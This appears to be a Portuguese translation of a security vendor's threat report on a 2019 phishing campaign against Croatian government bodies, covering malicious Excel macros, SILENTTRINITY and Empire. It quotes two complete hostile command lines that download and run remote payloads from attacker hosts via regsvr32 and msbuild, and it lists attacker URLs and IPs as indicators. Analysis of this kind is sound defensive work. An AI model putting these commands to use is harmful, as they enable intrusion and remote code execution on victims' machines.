
Nossos especialistas do centro de segurança especializado sempre acompanham e monitoram o surgimento de novas ameaças interessantes e perigosas. Foi assim que, no início de abril de 2019, foi descoberto um ataque direcionado ao governo croata. Este relatório examinou a cadeia de entrega de malware no computador da vítima, apresentou indicadores de comprometimento e observou o uso de uma nova estrutura pós-operacional que, de acordo com nossos dados, nunca foi usada pelos invasores.
Infecção por vítima
Em 2 de abril de 2019, durante um monitoramento de rotina de vários recursos para novos malwares, os especialistas do PT Expert Security Center descobriram um documento incomum do escritório.
Figura 1. Documento maliciosoA notificação de envio foi criada no aplicativo de escritório do MS Excel e salva no formato XLS antigo um dia antes (01-04-2019 16:28:07 (UTC)). No entanto, o carimbo de data / hora disponível na imprensa (2018-07-25 00:12:30 (UTC)) indica que o documento foi usado em 2018. Voltaremos a esse sintoma indireto abaixo.
Vale ressaltar que o campo Comentários (que pode ser alterado, inclusive usando o aplicativo MS Excel) contém um comando no shell do Windows:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
Figura 2. O campo "Comentários" com conteúdo suspeito
Figura 3. O conteúdo do campo Comentários em formato binárioComo resultado da execução desse comando, o sistema cria um script na linguagem Visual Basic, que, quando iniciada, executa as seguintes ações:
- conectar um recurso de rede usando a tecnologia WebDAV,
- baixe e execute o arquivo do próximo estágio da infecção usando o utilitário de sistema legítimo regsvr32.
Quando um recurso de rede é conectado via HTTP (S), uma solicitação NTLM é enviada ao servidor atacante, com a ajuda da qual o hash NTLM pode ser restaurado. Em seguida, o hash recebido pode ser usado para autorização em serviços em nome da vítima. Não encontramos vestígios desses ataques, e os motivos para conectar um recurso de rede permanecem incertos.
A técnica de usar o regsvr32 (gerenciamento de controles ActiveX) para fins maliciosos não é nova e ainda tem um nome - Squiblydoo. Os invasores o utilizam para cumprir os requisitos para controlar o lançamento de programas confiáveis, além de ignorar a detecção de antivírus.
Por si só, o texto no campo Comentários é inofensivo e sua execução deve ser de alguma forma condicionada. Quando a vítima abre o documento Excel recebido, aparece uma mensagem de interceptação no idioma croata informando a inclusão de macros:
Figura 4. Capturar mensagem após abrir um documentoSe macros forem permitidas, o usuário verá uma notificação de pacote falsa com o logotipo postal croata:
Figura 5. Notificação de pacote falsoEnquanto isso, usando as ferramentas de macro, o script para o campo Comentários será executado e o script criado no sistema será adicionado à inicialização:
Figura 6. Lógica macro principalCuriosamente, o script que está sendo criado não é acionado por uma macro. Talvez essa seja a intenção do invasor: o próximo estágio da infecção ocorrerá após a reinicialização do sistema e o login do usuário. Voltaremos a esse detalhe abaixo.
Parte do cenário é interessante à sua maneira: uma estrutura de código elegante com formatação, recuo e outras nuances de marcação pode ser um sinal do uso de código de terceiros e até mesmo um programa que permite criar esses documentos automaticamente.
Figura 7. Parte da macro presumivelmente emprestadaA pesquisa por palavra-chave fornece muitos trechos de código semelhantes em diferentes recursos. Estamos inclinados a acreditar que o hacker simplesmente encontrou o código do programa apropriado e o ajustou um pouco para executar as ações necessárias:
Figura 8. Exemplo de macro semelhante no issuu.com
Figura 9. Um exemplo de macro semelhante em stackoverflow.com
Figura 10. Exemplo de uma macro semelhante em dummies.comVamos retornar ao próximo estágio de infecção usando o utilitário regsvr32. Quando o comando é executado, o scriptlet update.sct em JavaScript será baixado do servidor do invasor. O corpo do script contém dados binários codificados pelo algoritmo Base64. Após a decodificação, os dados recebidos serão desserializados e executados usando a plataforma de software .NET Framework.
Figura 11. O script update.sct baixado do servidor do atacanteVale ressaltar que esse código também foi emprestado pelo invasor em um dos recursos públicos:
Figura 12. Um exemplo de código semelhante no rastamouse.me
Figura 13. Um exemplo de código semelhante no github.comNão parece que o hacker tenha se aprofundado na lógica das ferramentas usadas. Por exemplo, no scriptlet considerado, a função setversion é chamada, o que não faz nada. Um exemplo disponível na web também parece.
O objeto descompactado e iniciado é um arquivo PE executável na plataforma .NET.
Figura 14. O cabeçalho do arquivo PE executável
Figura 15. Informações de depuração do arquivo SharpPick PEComo resultado da compilação, o caminho para o projeto com o código fonte foi preservado. O sufixo -master indica que o projeto foi clonado anteriormente no repositório e o diretório SharpPick leva a um aplicativo conhecido que permite baixar e executar o código do PowerShell sem usar diretamente o interpretador de idiomas, mas usando as dependências do .NET.
Apesar da disponibilidade do projeto do utilitário SharpPick no GitHub, verifique se nenhuma alteração significativa foi feita.
Figura 16. Parte do código do utilitário SharpPick descompiladoComo resultado da descompilação, um pseudocódigo foi obtido, durante o qual é decodificado a partir do Base64 e o script do PowerShell é iniciado:
Figura 17. Script do PowerShell parcialmente convertidoDepois de simplificar o código, não é difícil analisar sua lógica:
- um objeto é formado para interagir com o servidor da Web com as configurações especificadas de User-Agent, Cookie e proxy;
- a carga útil é carregada no endereço especificado;
- o resultado é descriptografado pelo algoritmo RC4 usando a chave especificada e iniciado.
Infelizmente, durante nossa pesquisa, o servidor de gerenciamento já estava indisponível. Os dados que foram recebidos dele mais cedo, não conseguimos encontrar. No entanto, desta vez, há informações suficientes na Web (exemplo: relatório de nossos colegas da
FireEye ) para estabelecer inequivocamente: o elo final nesta cadeia de infecção é o Empire backdoor, uma ferramenta para administração remota do computador da vítima como parte da estrutura pós-operacional do Empire Framework.
Figura 18. Usando um script semelhante do PowerShell para atacar vulnerabilidades no WinRARCuriosamente, outros padrões de script levam a um extenso artigo sobre técnicas de teste de penetração, com atenção especial para ocultar a infraestrutura de invasores atrás de servidores proxy. A fonte mais provável de informação usada pelo invasor é um artigo de colegas da Payatu Technologies, onde eles
fornecem instruções detalhadas sobre o redirecionamento de sessões para recursos legítimos, bloqueio de pacotes indesejados, registro etc., incluindo o uso do Empire.
Algumas horas depois, encontramos outro documento no pacote. Tem muitas semelhanças com a anterior: também encontrada na Croácia (2019-04-02 16:52:56 (UTC)), tem o mesmo nome e até uma imagem de armadilha sobre o pacote recebido. Mas ainda existem diferenças.
O código malicioso está novamente localizado no campo Comentários, mas desta vez a lógica das ações foi alterada.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- O recurso de rede está conectado usando o protocolo SMB.
- Baixe e inicie o próximo estágio de infecção usando o msbuild, um utilitário legítimo do pacote .NET Framework.
É interessante que a linha webdav esteja presente no endereço do diretório montado, vinculando indiretamente esse caso ao anterior. Desta vez, um ataque ao hash NTLM ainda é possível, embora não haja evidências de seu uso. Novamente, um aplicativo legítimo (desta vez msbuild) é usado para ignorar com êxito a restrição ao iniciar programas de terceiros. Antes de descrever a técnica do abuso, mencionamos as diferenças no código do programa da macro de um novo documento.
Os invasores não fizeram alterações significativas na lógica do script do VBA. Mas é importante notar que desta vez eles não apenas fornecem o carregamento automático do script VBS criado no sistema, mas também o iniciam quando o documento é aberto. Provavelmente, no caso anterior, os atacantes simplesmente se esqueceram e, depois de algum tempo, tendo descoberto um erro, eles o corrigiram na nova versão do documento.
Figura 19. Comparação de código de macro em dois documentosO próximo estágio da infecção é um documento XML que contém código C #. Um recurso do utilitário msbuild permite compilar e executar o código contido em tempo real, conforme evidenciado pelos comentários deixados pelo hacker no início da marcação.
O buffer Base64 é novamente apresentado no código, que será decodificado, descomprimido pelo algoritmo Deflate e iniciado. Acreditamos que o leitor já percebe que, dessa vez, o invasor também usou um modelo de acesso livre, conforme evidenciado pelos comentários mencionados e por muitas fontes na Web com o mesmo código.
Figura 20. A tarefa msbuild.xml baixada do servidor atacanteComo resultado, desta vez, um arquivo PE na plataforma .NET será carregado e executado na memória. E as informações de depuração contêm não apenas um sinal de que o projeto foi coletado em uma máquina virtual (possivelmente para ocultar informações sobre o invasor), mas também o diretório SILENTTRINITY, no qual abordaremos mais detalhadamente.
Figura 21. Informações de depuração do arquivo SILENTTRINITY PEDepois de estudar esses dois documentos de encomendas, encontramos mais dois. O formato do arquivo, o nome e a imagem de interceptação com a região especificada permaneceram inalterados. Os documentos estavam disponíveis no final de agosto de 2018, o que confirma a hipótese sobre a natureza de longo prazo da campanha, sobre a qual escrevemos no início do relatório.
É curioso que os hackers do ano passado não usaram o campo "Comentários", mas lançaram utilitários legítimos. O componente malicioso foi carregado usando o utilitário para trabalhar com certificados e operações criptográficas certutil, e o lançamento foi fornecido pelas ferramentas de gerenciamento do sistema WMI:
Figura 22. Comparação de macros de documento de 2018Infelizmente, após a limitação do que aconteceu, não conseguimos estabelecer os links subsequentes na cadeia de ataques de 2018.
Também é importante notar que parte do código de script do VBA permaneceu inalterada, com exceção dos comentários auxiliares excluídos que explicam a lógica do trabalho.
Figura 23. Comparação de macros de 2019 e 2018Estrutura do SilentTrinity
Os resultados da pesquisa da palavra-chave SILENTTRINITY a partir das informações de depuração do arquivo PE podem determinar facilmente a origem desse link de ataque. Em outubro de 2018, Marcello Salvati (pesquisador da Black Hills Information Security) publicou um projeto chamado SILENTTRINITY no popular repositório GitHub. A idéia principal: usar a flexibilidade e as vantagens da conhecida estrutura do PowerShell pós-operacional na linguagem de programação Python Python, a saber, o IronPython. O projeto está sendo desenvolvido até hoje.
Não vamos nos aprofundar nos detalhes do trabalho e na implementação do projeto (principalmente porque o autor falou detalhadamente sobre isso em seu
relatório ). Vamos destacar apenas a lógica básica do trabalho e pontos interessantes na implementação.
Após iniciar o arquivo PE (no entanto, o link intermediário pode estar em um formato diferente), ocorre o seguinte:
- acesso ao servidor de gerenciamento para baixar o arquivo ZIP com as dependências necessárias e o script principal do Python;
- o conteúdo do arquivo é extraído sem salvar no disco;
- as dependências são registradas para o processamento bem-sucedido de scripts Python;
- O script principal do Python é iniciado, aguardando a tarefa do invasor;
- cada tarefa é transferida como um script Python pronto;
- a tarefa é executada no lado da vítima em um thread separado;
- o resultado do trabalho é transferido de volta para o servidor de gerenciamento.
Figura 24. Diagrama de operação da estrutura SilentTrinityDentre os recursos, vale destacar o seguinte:
- Suporte para o IronPython, incluindo a linguagem Boo (um subconjunto do IronPython com forte digitação de dados).
- Toda atividade não requer espaço em disco: dependências, scripts, tarefas estão localizadas na memória (ataque sem arquivo).
- Arquive com dependências, tarefas, o resultado do trabalho das equipes - toda a comunicação entre a vítima e o hacker é criptografada com o algoritmo AES.
- A chave compartilhada é gerada pelo protocolo Diffie-Hellman.
- O transporte de rede é fornecido no nível do protocolo HTTP (S) com suporte a proxy.
Figura 25. Exemplo de interface do usuário do lado do servidor da estrutura SilentTrinityCuriosamente, no dia dos ataques, o carregador de PE foi carregado no serviço VirusTotal, onde nenhum fornecedor de antivírus o identificou como malicioso. Isso não é surpreendente: primeiro, o arquivo binário não chega ao disco e a detecção de assinaturas não faz muito sentido; segundo, a detecção estática está longe de ser a única tecnologia para proteger os usuários.
Figura 26. Resultado da verificação do carregador de inicialização SilentTrinity no dia do ataqueAlém disso, alguns dias após o ataque, os vereditos de detecção ainda começaram a aparecer. É importante que, durante o período dos ataques, o equipamento de proteção ainda não esteja equipado com algoritmos de detecção ou a ameaça não seja conhecida em princípio.
Figura 27. O resultado atual da varredura do carregador de inicialização SilentTrinityProvavelmente, esse foi o motivo da escolha dessa solução para a realização de ataques. Não temos informações de que a estrutura SilentTrinity já tenha sido usada em ataques maliciosos antes.
Infraestrutura usada pelos invasores
Vale ressaltar que a infraestrutura de rede usada pelos hackers está cronologicamente relacionada a ataques em andamento.
Tabela 1. Informações sobre os domínios usados como servidores atacantes
Os domínios foram criados de maneira a se parecer com recursos atacados legítimos. Isso permite que os usuários obtenham confiança em ataques de phishing. Observe que os recursos envolvidos não se limitam à Croácia.
Todos os domínios são registrados usando a tecnologia de segurança WhoisGuard. Ele permite ocultar as informações reais sobre o registrante do domínio, a fim de proteger contra spam, enquanto os invasores usam essa tecnologia para anonimização.
Servidores que distribuem e gerenciam malware foram alugados pelo provedor holandês Breezle.
Todas as informações disponíveis sobre os nós, endereços e domínios dos atacantes com muitas conexões entre si nos permitem julgar os grandes volumes de malware que os invasores tinham neste momento. Não excluímos que na campanha possam ser usadas ferramentas semelhantes às consideradas e alguns casos de infecção permanecem sem solução.
Figura 28. Representação gráfica da infraestrutura de um invasorConclusão
Um dia após a descoberta dos documentos nas
notícias , foi emitido um comunicado de imprensa com um
link para o Departamento Croata de Segurança dos Sistemas de Informação sobre ataques de phishing direcionados. Foram encontrados vestígios em vários órgãos governamentais do país. É relatado que os emails foram enviados às vítimas com um link para um site de phishing a partir do qual foi proposto o download de um documento malicioso a partir do qual nossa análise começou. Isso preenche os elos ausentes na cadeia de ataques e, no final, gostaríamos de prestar atenção aos métodos de proteção que podem reduzir o dano causado por esses ataques:
- Monitorando e controlando o uso de alguns programas confiáveis (certutil, regsvr32, msbuild, net, wmic ...)
- Verificando e analisando não apenas anexos em emails, mas também links da web
- Verificações periódicas da memória do PC em uma rede corporativa
- Conexões bem-sucedidas ao C2 Silent Trinity (mesmo sob TLS) podem ser detectadas usando o PT Network Attack Discovery , além disso, em nosso repositório, publicamos detecções para a comunidade.
Postado por Alexey Vishnyakov, Positive Technologies
PS Sobre esse assunto, o autor também leu um relatório no Positive Hack Days 9. O vídeo desta e de outras apresentações está disponível em:
www.phdays.com/en/broadcast/ .
Indicadores de compromisso:0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps: //postahr.vip/page/1/update.sct
hxxps: //posteitaliane.live/owa/mail/archive.srf
hxxps: //konzum.win/bat3.txt
hxxp: //198.46.182.158/bat3.txt
hxxps: //176.105.255.59: 8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
postahr.online
176.105.254.52
93.170.105.32